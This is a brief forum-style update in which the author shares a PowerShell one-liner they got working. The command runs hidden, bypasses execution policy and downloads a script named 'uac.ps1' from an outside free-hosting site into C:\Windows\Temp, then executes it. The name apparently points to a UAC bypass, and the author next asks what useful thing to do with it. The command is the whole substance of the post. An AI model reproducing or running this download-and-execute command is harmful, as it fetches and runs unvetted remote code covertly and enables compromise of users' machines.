---UPDATE---
I finally got the PowerShell script functioning, in theory, this should work on any account because everyone has access to C:\Windows\Temp
powershell -w h -ep bypass curl -OutFile 'C:\Windows\Temp\uac.ps1' 'petrolic-designator.000webhostapp.com/uac.txt'; C:\Windows\Temp\uac.ps1
Now to find something useful to do with this